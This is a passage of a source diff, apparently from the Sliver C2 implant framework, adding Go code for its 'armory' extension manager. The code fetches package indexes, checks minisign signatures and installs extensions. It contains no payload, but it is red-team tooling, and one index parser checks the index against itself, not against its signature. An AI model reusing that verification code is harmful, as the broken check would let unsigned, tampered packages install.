|
||||
URL: alias.RepoURL,
|
||||
})
|
||||
}
|
||||
for _, extension := range exts {
|
||||
entries = append(entries, pkgInfo{
|
||||
CommandName: extension.CommandName,
|
||||
Version: extension.Version,
|
||||
Type: "Extension",
|
||||
Help: extension.Help,
|
||||
URL: extension.RepoURL,
|
||||
})
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Packages" + console.Normal)
|
||||
tw.AppendHeader(table.Row{
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
"Help",
|
||||
"URL",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Command Name", Mode: table.Asc},
|
||||
})
|
||||
|
||||
for _, pkg := range entries {
|
||||
color := console.Normal
|
||||
if extensions.CmdExists(pkg.CommandName, con.App) {
|
||||
color = console.Green
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
|
||||
})
|
||||
}
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
// PrintArmoryBundles - Prints the armory bundles
|
||||
func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Bundles" + console.Normal)
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Contains",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
for _, bundle := range bundles {
|
||||
tw.AppendRow(table.Row{
|
||||
bundle.Name,
|
||||
strings.Join(bundle.Packages, ", "),
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func parseArmoryHTTPConfig(ctx *grumble.Context) ArmoryHTTPConfig {
|
||||
var proxyURL *url.URL
|
||||
rawProxyURL := ctx.Flags.String("proxy")
|
||||
if rawProxyURL != "" {
|
||||
proxyURL, _ = url.Parse(rawProxyURL)
|
||||
}
|
||||
|
||||
timeout := defaultTimeout
|
||||
rawTimeout := ctx.Flags.String("timeout")
|
||||
if rawTimeout != "" {
|
||||
var err error
|
||||
timeout, err = time.ParseDuration(rawTimeout)
|
||||
if err != nil {
|
||||
timeout = defaultTimeout
|
||||
}
|
||||
}
|
||||
|
||||
return ArmoryHTTPConfig{
|
||||
IgnoreCache: ctx.Flags.Bool("ignore-cache"),
|
||||
ProxyURL: proxyURL,
|
||||
Timeout: timeout,
|
||||
DisableTLSValidation: ctx.Flags.Bool("insecure"),
|
||||
}
|
||||
}
|
||||
|
||||
// fetch armory indexes, only returns indexes that were fetched successfully
|
||||
// errors are still in the cache objects however and can be checked
|
||||
func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) []ArmoryIndex {
|
||||
wg := &sync.WaitGroup{}
|
||||
for _, armoryConfig := range armoryConfigs {
|
||||
wg.Add(1)
|
||||
go fetchIndex(armoryConfig, clientConfig, wg)
|
||||
}
|
||||
wg.Wait()
|
||||
indexes := []ArmoryIndex{}
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(indexCacheEntry)
|
||||
if cacheEntry.LastErr == nil {
|
||||
indexes = append(indexes, cacheEntry.Index)
|
||||
}
|
||||
return true
|
||||
})
|
||||
return indexes
|
||||
}
|
||||
|
||||
func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
|
||||
defer wg.Done()
|
||||
cacheEntry, ok := indexCache.Load(armoryConfig.PublicKey)
|
||||
if ok {
|
||||
cached := cacheEntry.(indexCacheEntry)
|
||||
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
armoryResult := &indexCacheEntry{RepoURL: armoryConfig.RepoURL}
|
||||
defer func() {
|
||||
armoryResult.Fetched = time.Now()
|
||||
indexCache.Store(armoryConfig.PublicKey, *armoryResult)
|
||||
}()
|
||||
|
||||
repoURL, err := url.Parse(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
armoryResult.LastErr = err
|
||||
return
|
||||
}
|
||||
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
|
||||
armoryResult.LastErr = errors.New("invalid URL scheme")
|
||||
return
|
||||
}
|
||||
|
||||
var index *ArmoryIndex
|
||||
if indexParser, ok := indexParsers[repoURL.Hostname()]; ok {
|
||||
index, err = indexParser(armoryConfig, clientConfig)
|
||||
} else {
|
||||
index, err = DefaultArmoryIndexParser(armoryConfig, clientConfig)
|
||||
}
|
||||
if index != nil {
|
||||
armoryResult.Index = *index
|
||||
}
|
||||
armoryResult.LastErr = err
|
||||
}
|
||||
|
||||
func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
|
||||
wg := &sync.WaitGroup{}
|
||||
for _, index := range indexes {
|
||||
for _, armoryPkg := range index.Extensions {
|
||||
wg.Add(1)
|
||||
armoryPkg.IsAlias = false
|
||||
go fetchPackageSignature(wg, armoryPkg, clientConfig)
|
||||
}
|
||||
for _, armoryPkg := range index.Aliases {
|
||||
wg.Add(1)
|
||||
armoryPkg.IsAlias = true
|
||||
go fetchPackageSignature(wg, armoryPkg, clientConfig)
|
||||
}
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
|
||||
defer wg.Done()
|
||||
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
|
||||
if ok {
|
||||
cached := cacheEntry.(pkgCacheEntry)
|
||||
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
pkgCacheEntry := &pkgCacheEntry{RepoURL: armoryPkg.RepoURL}
|
||||
defer func() {
|
||||
pkgCacheEntry.Fetched = time.Now()
|
||||
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
|
||||
}()
|
||||
|
||||
repoURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = err
|
||||
return
|
||||
}
|
||||
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
|
||||
pkgCacheEntry.LastErr = errors.New("invalid URL scheme")
|
||||
return
|
||||
}
|
||||
|
||||
var sig *minisign.Signature
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, _, err = pkgParser(armoryPkg, true, clientConfig)
|
||||
} else {
|
||||
sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
|
||||
}
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = err
|
||||
return
|
||||
}
|
||||
if sig != nil {
|
||||
pkgCacheEntry.Sig = *sig
|
||||
} else {
|
||||
pkgCacheEntry.LastErr = errors.New("nil signature")
|
||||
return
|
||||
}
|
||||
if armoryPkg != nil {
|
||||
pkgCacheEntry.Pkg = *armoryPkg
|
||||
}
|
||||
if err == nil {
|
||||
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = err
|
||||
return
|
||||
}
|
||||
if armoryPkg.IsAlias {
|
||||
pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
|
||||
} else {
|
||||
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
|
||||
}
|
||||
pkgCacheEntry.LastErr = err
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
package armory
|
||||
@@ -0,0 +1,276 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
var (
|
||||
ErrPackageNotFound = errors.New("package not found")
|
||||
)
|
||||
|
||||
// ArmoryInstallCmd - The armory install command
|
||||
func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("A package or bundle name is required")
|
||||
return
|
||||
}
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
refresh(clientConfig)
|
||||
err := installPackageByName(name, clientConfig, con)
|
||||
if err == nil {
|
||||
return
|
||||
}
|
||||
if err == ErrPackageNotFound {
|
||||
bundles := bundlesInCache()
|
||||
for _, bundle := range bundles {
|
||||
if bundle.Name == name {
|
||||
installBundle(bundle, clientConfig, con)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
con.PrintErrorf("No package or bundle named '%s' was found", name)
|
||||
}
|
||||
|
||||
func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
for _, pkgName := range bundle.Packages {
|
||||
err := installExtensionPackageByName(pkgName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
|
||||
aliases, extensions := packagesInCache()
|
||||
for _, alias := range aliases {
|
||||
if alias.CommandName == name {
|
||||
installAlias(alias, clientConfig, con)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
for _, ext := range extensions {
|
||||
if ext.CommandName == name {
|
||||
installExtension(ext, clientConfig, con)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return ErrPackageNotFound
|
||||
}
|
||||
|
||||
func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
err := installAliasPackageByName(alias.CommandName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install alias '%s': %s", alias.CommandName, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
if entry == nil {
|
||||
return errors.New("package not found")
|
||||
}
|
||||
repoURL, err := url.Parse(entry.RepoURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
|
||||
} else {
|
||||
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var publicKey minisign.PublicKey
|
||||
publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
|
||||
rawSig, _ := sig.MarshalText()
|
||||
valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
|
||||
if !valid {
|
||||
return errors.New("signature verification failed")
|
||||
}
|
||||
|
||||
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(tmpFile.Name())
|
||||
_, err = tmpFile.Write(tarGz)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tmpFile.Close()
|
||||
|
||||
installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
|
||||
if installPath == nil {
|
||||
return errors.New("failed to install alias")
|
||||
}
|
||||
_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), con)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
deps := make(map[string]struct{})
|
||||
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
|
||||
for dep := range deps {
|
||||
if extensions.CmdExists(dep, con.App) {
|
||||
continue // Dependency is already installed
|
||||
}
|
||||
err := installExtensionPackageByName(dep, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
const maxDepDepth = 10 // Arbitrary recursive limit for dependencies
|
||||
|
||||
func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
if entry == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if entry.Extension.DependsOn == "" {
|
||||
return // Avoid adding empty dependency
|
||||
}
|
||||
|
||||
if entry.Extension.DependsOn == name {
|
||||
return // Avoid infinite loop of something that depends on itself
|
||||
}
|
||||
// We also need to look out for circular dependencies, so if we've already
|
||||
// seen this dependency, we stop resolving
|
||||
if _, ok := deps[entry.Extension.DependsOn]; ok {
|
||||
return // Already resolved
|
||||
}
|
||||
if maxDepDepth < len(deps) {
|
||||
return
|
||||
}
|
||||
deps[entry.Extension.DependsOn] = struct{}{}
|
||||
resolveExtensionPackageDependencies(entry.Extension.DependsOn, deps, clientConfig, con)
|
||||
}
|
||||
|
||||
func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
if entry == nil {
|
||||
return errors.New("package not found")
|
||||
}
|
||||
repoURL, err := url.Parse(entry.RepoURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
|
||||
} else {
|
||||
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var publicKey minisign.PublicKey
|
||||
publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
|
||||
rawSig, _ := sig.MarshalText()
|
||||
valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
|
||||
if !valid {
|
||||
return errors.New("signature verification failed")
|
||||
}
|
||||
|
||||
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(tmpFile.Name())
|
||||
_, err = tmpFile.Write(tarGz)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tmpFile.Close()
|
||||
|
||||
installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con)
|
||||
if installPath == nil {
|
||||
return errors.New("failed to install extension")
|
||||
}
|
||||
extCmd, err := extensions.LoadExtensionManifest(filepath.Join(*installPath, extensions.ManifestFileName))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// do not add if the command already exists
|
||||
if extensions.CmdExists(extCmd.Name, con.App) {
|
||||
return fmt.Errorf("%s command already exists", extCmd.Name)
|
||||
}
|
||||
extensions.ExtensionRegisterCommand(extCmd, con)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,355 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
)
|
||||
|
||||
// ArmoryIndexParser - Generic interface to fetch armory indexes
|
||||
type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error)
|
||||
|
||||
// ArmoryPackageParser - Generic interface to fetch armory package manifests
|
||||
type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
|
||||
|
||||
var (
|
||||
indexParsers = map[string]ArmoryIndexParser{
|
||||
"api.github.com": GithubArmoryIndexParser,
|
||||
}
|
||||
pkgParsers = map[string]ArmoryPackageParser{
|
||||
"api.github.com": GithubArmoryPackageParser,
|
||||
}
|
||||
)
|
||||
|
||||
const (
|
||||
armoryIndexFileName = "armory.json"
|
||||
armoryIndexSigFileName = "armory.minisig"
|
||||
)
|
||||
|
||||
type armoryIndexResponse struct {
|
||||
Minisig string `json:"minisig"` // Minisig
|
||||
ArmoryIndex string `json:"armory_index"` // Base64 String
|
||||
}
|
||||
|
||||
type armoryPkgResponse struct {
|
||||
Minisig string `json:"minisig"` // Minisig
|
||||
TarGzURL string `json:"tar_gz_url"`
|
||||
}
|
||||
|
||||
// DefaultArmoryParser - Parse the armory index directly from the url
|
||||
func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
index := &armoryIndexResponse{}
|
||||
err = json.Unmarshal(body, index)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Verify index is signed by trusted key
|
||||
valid := minisign.Verify(publicKey, []byte(index.ArmoryIndex), []byte(index.ArmoryIndex))
|
||||
if !valid {
|
||||
return nil, errors.New("invalid signature")
|
||||
}
|
||||
|
||||
armoryIndex := &ArmoryIndex{}
|
||||
armoryIndexData, err := base64.StdEncoding.DecodeString(index.ArmoryIndex)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = json.Unmarshal(armoryIndexData, armoryIndex)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return armoryIndex, nil
|
||||
}
|
||||
|
||||
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
|
||||
func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
pkgResp := &armoryPkgResponse{}
|
||||
err = json.Unmarshal(body, pkgResp)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
sig, err := parsePkgMinsig([]byte(pkgResp.Minisig))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
var tarGz []byte
|
||||
if !sigOnly {
|
||||
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if tarGzURL.Scheme != "https" && tarGzURL.Scheme != "http" {
|
||||
return nil, nil, errors.New("invalid url scheme")
|
||||
}
|
||||
resp, err := client.Get(tarGzURL.String())
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
tarGz, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
}
|
||||
return sig, tarGz, nil
|
||||
}
|
||||
|
||||
type GithubAsset struct {
|
||||
ID int `json:"id"`
|
||||
Name string `json:"name"`
|
||||
URL string `json:"url"`
|
||||
Size int `json:"size"`
|
||||
|
||||
BrowserDownloadURL string `json:"browser_download_url"`
|
||||
}
|
||||
|
||||
type GithubRelease struct {
|
||||
ID int `json:"id"`
|
||||
Name string `json:"name"`
|
||||
URL string `json:"url"`
|
||||
HTMLURL string `json:"html_url"`
|
||||
TagName string `json:"tag_name"`
|
||||
Body string `json:"body"`
|
||||
Prerelease bool `json:"prerelease"`
|
||||
TarballURL string `json:"tarball_url"`
|
||||
ZipballURL string `json:"zipball_url"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
PublishedAt string `json:"published_at"`
|
||||
Assets []GithubAsset `json:"assets"`
|
||||
}
|
||||
|
||||
// GithubArmoryIndexParser - Parse the armory index from a GitHub release
|
||||
func GithubArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
|
||||
releases := []GithubRelease{}
|
||||
err = json.Unmarshal(body, &releases)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(releases) < 1 {
|
||||
return nil, errors.New("no releases found")
|
||||
}
|
||||
release := releases[0] // Latest only right now
|
||||
|
||||
var armoryIndexData []byte
|
||||
var sigData []byte
|
||||
for _, asset := range release.Assets {
|
||||
if asset.Name == armoryIndexFileName {
|
||||
resp, err := client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
armoryIndexData, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if asset.Name == armoryIndexSigFileName {
|
||||
resp, err := client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
sigData, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Verify index is signed by trusted key
|
||||
valid := minisign.Verify(publicKey, armoryIndexData, sigData)
|
||||
if !valid {
|
||||
return nil, errors.New("invalid signature")
|
||||
}
|
||||
|
||||
armoryIndex := &ArmoryIndex{}
|
||||
err = json.Unmarshal(armoryIndexData, armoryIndex)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return armoryIndex, nil
|
||||
}
|
||||
|
||||
// GithubArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
|
||||
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
|
||||
releases := []GithubRelease{}
|
||||
err = json.Unmarshal(body, &releases)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
release := releases[0] // Latest only right now
|
||||
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
for _, asset := range release.Assets {
|
||||
if asset.Name == fmt.Sprintf("%s.minisig", armoryPkg.CommandName) {
|
||||
var resp *http.Response
|
||||
resp, err = client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
var body []byte
|
||||
body, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
sig, err = parsePkgMinsig(body)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
if asset.Name == fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName) && !sigOnly {
|
||||
var resp *http.Response
|
||||
resp, err = client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
tarGz, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
return sig, tarGz, err
|
||||
}
|
||||
|
||||
func parsePkgMinsig(data []byte) (*minisign.Signature, error) {
|
||||
var sig minisign.Signature
|
||||
err := sig.UnmarshalText(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(sig.TrustedComment) < 1 {
|
||||
return nil, errors.New("missing trusted comment")
|
||||
}
|
||||
return &sig, nil
|
||||
}
|
||||
|
||||
func httpClient(config ArmoryHTTPConfig) *http.Client {
|
||||
return &http.Client{
|
||||
Timeout: config.Timeout,
|
||||
Transport: &http.Transport{
|
||||
Dial: (&net.Dialer{
|
||||
Timeout: config.Timeout,
|
||||
}).Dial,
|
||||
Proxy: http.ProxyURL(config.ProxyURL),
|
||||
|
||||
TLSHandshakeTimeout: config.Timeout,
|
||||
TLSClientConfig: &tls.Config{
|
||||
InsecureSkipVerify: config.DisableTLSValidation,
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,65 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
